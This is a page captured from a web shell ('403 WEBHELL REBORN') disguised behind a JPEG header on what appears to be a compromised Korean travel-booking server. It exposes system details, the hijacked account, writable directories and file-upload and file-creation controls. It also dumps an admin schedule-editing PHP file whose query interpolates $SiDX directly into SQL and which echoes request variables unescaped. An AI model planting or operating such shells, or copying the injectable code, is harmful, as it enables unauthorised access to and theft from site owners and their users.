ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/board/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/board/scheduleform_write.html
<?
/**
 *
 * 일정표 수정
 *
 * 작성일 : 20130923.허종
 * 
 * 
**/
include "../include/top_proc.html";
include "_common.php";

if ( !$SqlType ) exit;

// 카테고리
$cate_arr = TO_get_bc("","N");

// 일정표 스킨
$skin_arr = array();
$arr = get_dirlist("../../schedule");
$j=0;
for ($i=0 ; $i<count($arr) ; $i++){
	if ( strstr($arr[$i],".html") ){ // 확장자가 .html만 사용
		$skin_arr[$j]['nm'] = $arr[$i];
		$skin_arr[$j]['pre_nm'] = str_replace(".html","",$arr[$i]);
		$j++;
	}
}

// 일정표 수정
if ( $SiDX ) {
	$data = toad_schedule(""," and SiDX='{$SiDX}' ");
	$row = $data[0];
}

//[son]
$B2b = new B2b();
$langInfo = $B2b->langInfo();
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ko" xml:lang="ko">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?=$cf['tkadminsystem']?></title>
<link type="text/css" rel="stylesheet" href="../css/admin_default_<?=$langInfo[lang]?>.css" />
<link type="text/css" rel="stylesheet" href="../css/all.css?ver=2022_10_20_0" />

<script type="text/javascript">
var lang = "";  // 홈페이지에서 사용할 언어 선택(kor,eng,cn)
</script>

<!-- jquery -->
<script src="/js/jquery-1.9.1.js" type="text/javascript"></script>

<!-- 갤러리플래시 -->
<script src="../js/swf_upload.js" type="text/javascript"></script>

<!-- jquery ui -->
<link type="text/css" rel="stylesheet" href="/js/jquery-ui/css/jquery-ui-1.10.1.custom.css" />
<script src="/js/jquery-ui/jquery-ui-1.10.1.custom.js" type="text/javascript"></script>

<!-- 공통 js -->
<script type="text/javascript" src="/js/common.js"></script>
<script type="text/javascript" src="/js/common.lib.js"></script>
<script type="text/javascript" src="/js/Validator.js"></script>

<!-- admin js -->
<script type="text/javascript" src="../js/admin.lib.js"></script>

<!-- AjaxCalendar(PHP) -->
<script type="text/javascript" src="/js/ajaxcalendar/AjaxCalendar.js"></script>

<!-- 웹에디터 -->
<script type="text/javascript" src="/js/ckeditor/ckeditor.js"></script>

</head>

<body>
<!-- 로딩바 -->
<div id="ajax_loading_bar" style="position:absolute;z-index:100;display:none;cursor:pointer;" onclick="$(this).hide();">
 <img src="../image/ajax-loader.gif" alt="로딩중입니다." />
</div>

<!-- ajax처리 레이어 -->
<div id="ajax_proc"></div>

<div class="iframe" style="padding:0 10px 0 10px;">
<!-- 본문 -->

	<!-- 폼 -->
	<form name="frm_ins" id="frm_ins" method="post" enctype="multipart/form-data">
	<input type="hidden" name="SqlType" value="<?=$SqlType?>" />
	<input type="hidden" name="tmp_layer_id" value="<?=$tmp_layer_id?>" />
	<input type="hidden" name="b_uid_s" value="<?=$b_uid_s?>" />
	<input type="hidden" name="SiDX" value="<?=$SiDX?>" />
	<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
	<tbody>
	<tr>
		<th width="110" scope="row"><label for="hotel_nm">카테고리</label></th>
		<td  style="border-top:1px solid #e4e4e4;">
			<select name="b_uid" style="width:200px;">
				<option value="0">==공통==</option>
				<?for($i=0 ; $i<count($cate_arr) ; $i++){
						$arr = $cate_arr[$i];
				?>
					<option value="<?=$arr['b_uid']?>" <?=($arr['b_uid']==$b_uid_s or $arr['b_uid']==$row['b_uid'])?"selected":""?>><?=$arr['b_name']?></option>
				<?}?>
			</select>
	</td>
	<tr>
		<th><label for="hotel_nm">일정표스킨</label></th>
		<td>
				<select name="schedule_skin" id="schedule_skin" style="width:200px;">
					<option value="">==스킨선택==</option>
					<?
						for($i=0 ; $i<count($skin_arr) ; $i++){
							$arr = $skin_arr[$i];
					?>
						<option value="<?=$arr['nm']?>"><?=$arr['pre_nm']?></option>
					<?}?>
				</select> 
				<select name="schedule_day" id="schedule_day" style="width:100px;">
					<?for($i=1 ; $i<=31 ;$i++){?>
						<option value="<?=$i?>"><?=$i?>일</option>
					<?}?>
				</select>
				<input type="button" value="일정생성" class="Table_btn red2" onclick="create_scheduleform();">
	</td>
	<tr>
		<th><label for="Bidx">제목</label></th>
		<td><input type="text" name="ScheduleTitle" id="ScheduleTitle" value="<?=$row['ScheduleTitle']?>" class="input_text" style="width:680px;"  hname="제목" required> <input type="button" value="일정표 초기화" class="Table_btn gray" onclick="fn_create_date_ckeditor('','success');">
		</td>
	</tr>
	<tr>
		<td colspan="2"  style="border-left:1px solid #e4e4e4;">
			<textarea name="ScheduleText" id="ScheduleText" class=""><?=$row['ScheduleText']?></textarea>
		</td>
	</tr>
	</table>
	</form>
	<!-- /폼 -->

	<div class="btn_wrap_C mt30 mb30">
		<a class="Bbtn red" href="javascript:;" onclick="check_form()">저장</a>
</div>

<!-- /본문 -->
</div>
<script type="text/javascript">

// 일정표 생성
function create_scheduleform()
{
	var schedule_skin = $("#schedule_skin").val();
	var schedule_day = $("#schedule_day").val();

	if (!schedule_skin)
	{
		alert('스킨을 선택해 주세요.');
		return;
	}

	// 결과를 함수(fn_create_date_ckeditor)로 받음.
	ajax_post("","../good/good_date_proc.html?SqlType=date_create&date_skin="+schedule_skin+"&date_num="+schedule_day,"","fn_create_date_ckeditor");
}

//  생성일정표 data로 받음
function fn_create_date_ckeditor(data,status)
{
	if ( status == "success" )
	{
		// 에디터 instance 생성
		var editor = eval('CKEDITOR.instances.ScheduleText');

		// 에디터로 data세팅
		editor.setData(data);

	}else return;
}

// 일정표 저장
function check_form()
{
	var f = document.frm_ins;

	var result = to_validation(f);
	if ( result == false ) return false;

	if (!confirm('일정표폼을 저장하시겠습니까?'))  return false;

	// 일정표폼내용을 textarea에 저장
	$("#ScheduleText").val(CKEDITOR.instances.ScheduleText.getData());

	ajax_post("","scheduleform_proc.html","frm_ins");
}

window.onload=function(){
	CKEDITOR.replace('ScheduleText', {height:'280px'});
}
</script>
</body>
</html>

Anon7 - 2021